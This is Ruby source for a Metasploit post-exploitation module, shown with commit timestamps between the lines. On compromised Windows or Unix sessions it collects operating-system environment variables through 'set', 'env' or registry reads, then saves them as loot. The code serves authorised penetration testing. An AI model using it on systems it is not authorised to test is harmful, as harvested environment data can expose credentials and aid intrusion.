2010-12-27 17:46:42 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-12-27 17:46:42 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
2011-01-12 00:11:43 +00:00
|
|
|
require 'msf/core/post/windows/registry'
|
2010-12-27 17:46:42 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Post::Windows::Registry
|
2011-01-06 21:28:00 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Multi Gather Generic Operating System Environment Settings',
|
|
|
|
'Description' => %q{ This module prints out the operating system environment variables },
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', 'egypt' ],
|
|
|
|
'Platform' => [ 'linux', 'win' ],
|
|
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
|
|
|
))
|
|
|
|
@ltype = 'generic.environment'
|
|
|
|
end
|
2010-12-27 17:46:42 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
case session.type
|
|
|
|
when "shell"
|
|
|
|
get_env_shell
|
|
|
|
when "meterpreter"
|
|
|
|
get_env_meterpreter
|
|
|
|
end
|
|
|
|
store_loot(@ltype, "text/plain", session, @output) if @output
|
|
|
|
print_line @output if @output
|
|
|
|
end
|
2010-12-27 17:46:42 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def get_env_shell
|
|
|
|
print_line @output if @output
|
|
|
|
if session.platform =~ /win/
|
|
|
|
@ltype = "windows.environment"
|
|
|
|
cmd = "set"
|
|
|
|
else
|
|
|
|
@ltype = "unix.environment"
|
|
|
|
cmd = "env"
|
|
|
|
end
|
|
|
|
@output = session.shell_command_token(cmd)
|
|
|
|
end
|
2010-12-27 17:46:42 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def get_env_meterpreter
|
|
|
|
case sysinfo["OS"]
|
|
|
|
when /windows/i
|
|
|
|
var_names = []
|
|
|
|
var_names << registry_enumvals("HKEY_CURRENT_USER\\Volatile Environment")
|
|
|
|
var_names << registry_enumvals("HKEY_CURRENT_USER\\Environment")
|
|
|
|
var_names << registry_enumvals("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
|
|
|
|
output = []
|
|
|
|
var_names.delete(nil)
|
|
|
|
var_names.flatten.uniq.sort.each do |v|
|
|
|
|
# Emulate the output of set and env, e.g. VAR=VALUE
|
|
|
|
output << "#{v}=#{session.fs.file.expand_path("\%#{v}\%")}"
|
|
|
|
end
|
|
|
|
@output = output.join("\n")
|
|
|
|
@ltype = "windows.environment"
|
|
|
|
else
|
|
|
|
# Don't know what it is, hope it's unix
|
|
|
|
print_status sysinfo["OS"]
|
|
|
|
chan = session.sys.process.execute("/bin/sh", "-c env", {"Channelized" => true})
|
|
|
|
@output = chan.read
|
|
|
|
@ltype = "unix.environment"
|
|
|
|
end
|
|
|
|
end
|
2011-01-04 02:46:18 +00:00
|
|
|
|
2010-12-27 17:46:42 +00:00
|
|
|
end
|